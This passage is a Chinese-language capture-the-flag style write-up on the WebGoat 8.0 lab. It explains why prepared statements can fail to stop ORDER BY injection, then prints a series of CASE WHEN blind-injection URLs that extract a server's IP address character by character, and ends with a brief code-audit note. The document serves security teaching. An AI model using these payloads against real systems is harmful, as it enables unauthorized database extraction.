文章目录
- 预编译 CASE 注入
- 1. SQL注入漏洞防御
- 2. WEBGOAT SQL注入
- 2.1 WebGoat 8.0
- 2.2 Order by 注入
- 2.2.1 构造 when 的条件
- 2.2.2 代码审计
预编译 CASE 注入
预编译 CASE(Prepared CASE)是一种数据库查询语言(如SQL)中的控制语句,它可以根据条件表达式的值来选择执行不同的语句块,类似于编程语言中的 switch 语句。预编译 CASE 注入则是一种基于预编译 CASE 语句的安全漏洞攻击。
预编译 CASE 注入攻击的漏洞原理与其他类型的注入攻击相似,即攻击者尝试构造特定的输入数据来绕过应用程序的输入验证和过滤机制,从而能够执行未经授权的操作或获得敏感信息等。
在预编译 CASE 注入攻击中,攻击者通常会针对应用程序中存在的具有条件判断语句的查询进行攻击,通过构造恶意的条件表达式绕过输入验证和过滤机制,让条件表达式的结果达到攻击目的。
1. SQL注入漏洞防御
-
避免采用拼接的方式构造SQL 语句,可以采用预编译等技术。
-
对进入SQL 语句的参数进行足够过滤。
-
部署安全设备比如WAF(web应用安全防火墙)。
-
现行很多开发框架,基本上已经从技术上,解决SQL 注入问题。
JAVA中的PreparedStatement,PreparedStatement继承与Statement。
PreparedStatement作用:预编译SQL语句并执行:预防SQL注入问题。
PreparedStatement好处:
- 预编译SQL,性能更高。
- 防止SQL注入:将敏感字符进行转义。
Java代码操作数据库流程如图所示:
-
将SQL语句发送到MySQL服务器端
-
MySQL服务器端会对SQL语句进行操作
-
检查SQL语句,检查SQL语句的语法是否正确
-
编译SQL语句。将SQL语句编译成可执行的函数
检查SQL和编译SQL花费的时间比执行SQL的时间还要长。
如果我们只是重新设置参数,那么检查SQL语句和编译SQL语句将不需要重复执行。这样就提高了性能。
-
执行SQL语句。
-
俗话说得好没有绝对的安全,通过预编译的技术也不能够完全防御SQL注入,只能是减轻。
比如参数绑定的方式可以使用下面的方式绕过:通过使用case when语句可以将order by后的orderExpression表达式中添加select语句。
前提条件是SQL语句中必须有order by 字段才可以通过预编译CASE注入。
2. WEBGOAT SQL注入
2.1 WebGoat 8.0
下载地址: https://github.com/WebGoat/WebGoat/wiki
WebGoat 官网及使用方法: https://github.com/WebGoat/WebGoat
运行 WebGoat
执行:java -jar webgoat-server-8.0.0.M21.jar
然后,在浏览器中执行:http://127.0.0.1:8080/WebGoat
,打开WebGoat网站,注册用户后就可以使用了。
2.2 Order by 注入
启动靶场访问指定页面
题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。
查看WebGoat的提示,要利用when的条件when (true/false)
。
使用bp抓取数据包,点击IP排序的地方进行抓包。
查看数据包
按照不同的列排序
- 按IP排序:
- 按hostname排序:
联想到 column 参数的值就是SQL语句中的 order by 参数。
这里发现column 参数的值是可控的,那么我们随便传递一个值,查看浏览器返回结果。
发现有报错信息
仔细观察报错信息发现,其中有SQL语句
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by wuhu
发现传给column的值wuhu,最终是order by的参数。并且还给出了很多数据库的信息。例如有id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息。可以推测主机名为webgoat-prd的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd的服务器的。
采用case when进行注入,整个SQL语句为:
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end
说明:如果when中的条件为true,按照hostname排序,否则按照id进行排序。
注意:
- then后面和else后面的列名必须是合法的否则SQL语句回报错。
- case语句结尾要有end。
2.2.1 构造 when 的条件
获取主机名为webgoat-prd
的服务器的IP地址:
select ip from servers where hostname='webgoat-prd'
判断第一位是不是1:
substring((select ip from servers where hostname='webgoat-prd'),1,1)=1
SUBSTRING 函数用于从字符串中获取子串。
将整个判断条件放到when中,整个URL为:
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname='webgoat-prd'),1,1)=1) then hostname else id end)
然后对构造的参数进行URL编码后发包,看到结果是按hostname排序的,说明IP地址的第一位是1。
第二位是0
第三位是4
when条件为true的所有SQL语句为:
注意:不能直接复制到bp中,需要进行URL编码。
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8888/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
最终可以看到IP地址为 104.130.219.202
最后将获取到的IP地址输入到页面中,即通关成功。
2.2.2 代码审计
定位到Servers.java
文件,分析源码可以看到,服务端虽然使用了预编译但仍拼接了 order by 参数 column,导致存在 SQL 注入漏洞: